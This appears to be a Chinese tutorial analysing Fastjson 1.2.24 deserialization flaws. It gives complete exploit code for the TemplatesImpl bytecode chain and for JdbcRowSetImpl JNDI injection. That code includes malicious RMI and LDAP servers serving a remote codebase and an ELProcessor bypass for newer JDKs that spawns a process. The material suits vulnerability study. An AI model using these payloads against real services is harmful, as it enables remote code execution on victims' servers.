0x01 环境配置
jdk8u65
Maven 3.6.3
1.2.22 <= Fastjson <= 1.2.24
pom.xml 导入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 4.0.9</version > </dependency > <dependency > <groupId > commons-io</groupId > <artifactId > commons-io</artifactId > <version > 2.5</version > </dependency > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency > <dependency > <groupId > commons-codec</groupId > <artifactId > commons-codec</artifactId > <version > 1.12</version > </dependency >
主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子
0x02 TemplatesImpl 利用链
在上一篇将 Fastjson 基础时我们已经有了初步的了解
我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type 的
这里其实赋值就代表我们不需要通过反射来修改值
@type 之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法,所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方
现在从漏洞发现的角度去看一遍
选取命令执行类 这里要回想起之前在学习 CC 链的时候有一条链子 CC3 链开辟了 TemplatesImpl 加载字节码的先河,而它的漏洞点在于调用了 .newInstance() 方法。我们现在回去看这里,发现漏洞点的地方实际上是一个 getter 方法,如图:
getTransletInstance() 就是该类的 setter 方法,所以 TemplatesImpl 是满足我们 fastjson 漏洞的利用条件的,在构造 EXP 之前,先分析一下 EXP 里面的一些参数
分析类中参数 先看 TemplatesImpl 类中的 getTransletInstance() 方法,这里可以直接参考 CC3 链子的构造
_name 不可以为 null
_class 为 null,这样进入到 defineTransletClasses 这个方法里面,所以 _class 可以不用写,或者写为 null
_tfactory 也不能为 null,具体分析在 CC3 已经讲过了
_bytecodes 是恶意字节码。恶意字节码的类需要
那么我们现在的 payload 大概是这样的:
1 2 3 4 5 6 7 8 9 10 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";" { \"@type \":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'G3ng4r', '_tfactory':{ }, ";
但是现在还不能弹出计算器,因为还和 _outputProperties 这个变量有关系,fastjson 这个 sette 和 getteer 方法并不是所有都是调用的,是有条件的:
满足条件的 setter:
非静态函数
参数个数为 1 个
返回类型为 void 或当前类
满足条件的 getter:
非静态方法
无参数
返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong
这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类
调用 getTransletInstance 这里用到的也是挖链子的思维,我们去找谁调用了 getTransletInstance(),右键 find usages:
看着是 newTransformer() 方法调用了 getTransletInstance() 方法,但是无法利用,因为它不是 setter/getter 方法,继续 find usages,找到了同类下的 getOutputProperties(),属于 getter 方法
现在我们大概的链子:
1 2 getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
然后我们看 getOutputProperties() 是否满足 getter 方法里面的返回值,一看是满足的,因为返回值是 Properties 即继承自 Map 类型
1 2 public class Properties extends Hashtable <Object,Object>public class Hashtable <K,V> extends Dictionary <K,V> implements Map <K,V>, Cloneable, java.io.Serializable
所以我们现在的 payload 里面需要去管 getOutputProperties() 的 outputProperties 变量的值,先把它赋值为空试一试,所以我们的 payload 大概是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";final String evilClassPath = ""E:\\Task\\Calc.class"";" { \"@type \":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\""+evilCode+"\"], '_name':'G3ng4r', '_tfactory':{ }, \"_outputProperties\":{ }, ";
构造 EXP 这里我们在反序列化的时候的参数需要加上 Object.class 与 Feature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的,而且正常我们写 EXP 没必要不带这个参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.util.Base64;public class TemplatesImplExp { public static void main (String[] args) { try { ParserConfig config = new ParserConfig (); final String evilClassPath = "E:\\Task\\test.class" ; String evilCode = _readClass_(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String text = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" +evilCode+"\"],'_name':'G3ng4r','_tfactory':{ },\"_outputProperties\":{ }}" ; System._out_.println(text); Object obj = JSON._parseObject_(text, Object.class,config, Feature._SupportNonPublicField_); } catch (Exception e){ e.printStackTrace(); } } public static String readClass (String cls) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream (); IOUtils._copy_(new FileInputStream ((new File (cls))),bos); return Base64._getEncoder_().encodeToString(bos.toByteArray()); } }
0x03 JdbcRowSetImpl 的利用链 简单来说就是 JNDI 注入的形式,也就是我们平常用的最多的攻击手段
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式
如果平常有打过 CTF 里面 fastjson 的题目的话,基本利用都是这个方式,因为动态加载字节码更加灵活
JNDI + RMI 这一条链子名为 JdbcRowSetImpl,所以我们先进到这个类里面进去,没有看到能够命令执行利用的 getter 与 setter 方法,其实这是 JNDI 的 Reference 的攻击方式
JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击,EXP 如下:
1 2 3 4 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://localhost:1099/Exploit" , "autoCommit" : true }
根据 JNDI 注入的漏洞利用,需要先起一个 Server,然后把恶意的类放到 vps 上即可。可以把之前的 Server 复制进来
RMI 服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIRMIServer { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); Registry registry = LocateRegistry._createRegistry_(1099 ); Reference reference = new Reference ("Calc" ,"Calc" ,"http://localhost:7777/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" , reference); } }
攻击 EXP:
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON;public class JdbcRowSetImplExp { public static void main (String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}" ; JSON._parse_(payload); } }
JNDI + LDAP 原理也是一致的,服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class JNDILdapServer { private static final String _LDAP_BASE _= "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#Calc" ; int port = 1099 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (_LDAP_BASE_); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress._getByName_("0.0.0.0" ), port, ServerSocketFactory._getDefault_(), SocketFactory._getDefault_(), (SSLSocketFactory) SSLSocketFactory._getDefault_())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System._out_.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; _ _public OperationInterceptor ( URL cb ) { this .codebase = cb; } _ _@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System._out_.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode._SUCCESS_)); } } }
攻击 EXP:
1 2 3 4 5 6 7 8 import com.alibaba.fastjson.JSON;public class JdbcRowSetImplLdapExp { public static void main (String[] args) { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Calc\", \"autoCommit\":true}" ; JSON._parse_(payload); } }
0x04 高版本 jdk 绕过攻击 这里是针对基于 JdbcRowSetImpl 的利用链的 jdk 高版本绕过,绕过手段和之前是一样的,直接放 EXP 了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIBypassHighJavaServerEL { public static void main (String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099" ); Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); System.out.println("[*]Evil command: calc" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Object" , referenceWrapper); } }
攻击 EXP 不变:
1 2 3 4 5 6 7 8 import com.alibaba .fastjson .JSON ; public class HighJdkBypass { public static void main (String [] args ) { String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }" ; JSON .parse (payload); } }
这个 EXP 需要 CC 和 Tomcat 依赖:
1 2 3 4 5 6 7 8 9 10 11 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.99</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > <scope > compile</scope > </dependency >
0x05 写在后面
TemplatesImpl 攻击链是有一点限制的,需要对方的代码里面能够让我们加载的私有的 getter/setter。也就是需要这个参数 Feature.SupportNonPublicField
第二种攻击方式,需要针对 jdk 版本吧,不过平常攻击肯定是第二种用的比较多
参考
https://drun1baby.top/2022/08/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8702-Fastjson-1-2-24%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/